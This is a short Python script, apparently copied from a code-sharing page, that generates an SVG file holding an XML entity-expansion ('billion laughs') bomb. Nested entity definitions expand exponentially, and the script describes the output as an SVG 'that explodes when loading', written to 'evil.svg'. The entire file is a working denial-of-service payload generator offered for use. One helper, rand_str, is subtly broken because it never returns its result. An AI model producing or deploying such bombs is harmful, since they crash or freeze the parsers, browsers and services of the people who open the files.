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Generate SVG XML Bomb
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#!/usr/bin/env python3 | |
# svg hell -- xml bomb generator for svg | |
# | |
# stop using SVGs | |
# | |
# usage: python3 svghell.py > evil.svg | |
import random | |
import string | |
class appendstr: | |
""" | |
character appending string | |
""" | |
def __init__(self, v='\n'): | |
self.s = '' | |
self.v = v | |
def __add__(self, v): | |
self.s = self.s + v + self.v | |
return self | |
def __str__(self): | |
return self.s | |
randint = lambda : random.randint(1, 1000) | |
def rand_str(strlen): | |
ret = '' | |
for n in range(strlen): | |
ret += random.choice(string.ascii_letters) | |
class SVGHell: | |
""" | |
svg xml bomb generator | |
""" | |
def __init__(self, num=10, base_str='bomb', description=None): | |
self.num = num | |
self.base_str = base_str | |
if description is None: | |
description = rand_str(randint()) | |
self.description = description | |
def generate(self): | |
""" | |
generate an svg that explodes when loading | |
""" | |
data = appendstr() | |
data += '<?xml version="1.0" standalone="no"?>' | |
data += '<!DOCTYPE svg [' | |
data += '<!ENTITY {}0 "{}">'.format(self.base_str, self.base_str) | |
for n in range(1, self.num + 1): | |
data += '<!ENTITY {}{} "{}">'.format(self.base_str, n, ('&{}{};'.format(self.base_str, n-1)) * (self.num + 1)) | |
data += ']>' | |
data += '<svg width="{}cm" height="{}cm" viewBox="0 0 {} {}" version="1.1"'.format(randint(), randint(), randint(), randint()) | |
data += 'xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">' | |
data += '<desc>{}</desc>'.format(self.description) | |
for _ in range(self.num): | |
data += '<text x="{}" y="{}" d="&{}{};">'.format(randint(), randint(), self.base_str, self.num) | |
data += '</text>' | |
data += '</svg>' | |
return str(data) | |
if __name__ == '__main__': | |
svg = SVGHell() | |
print(svg.generate()) |
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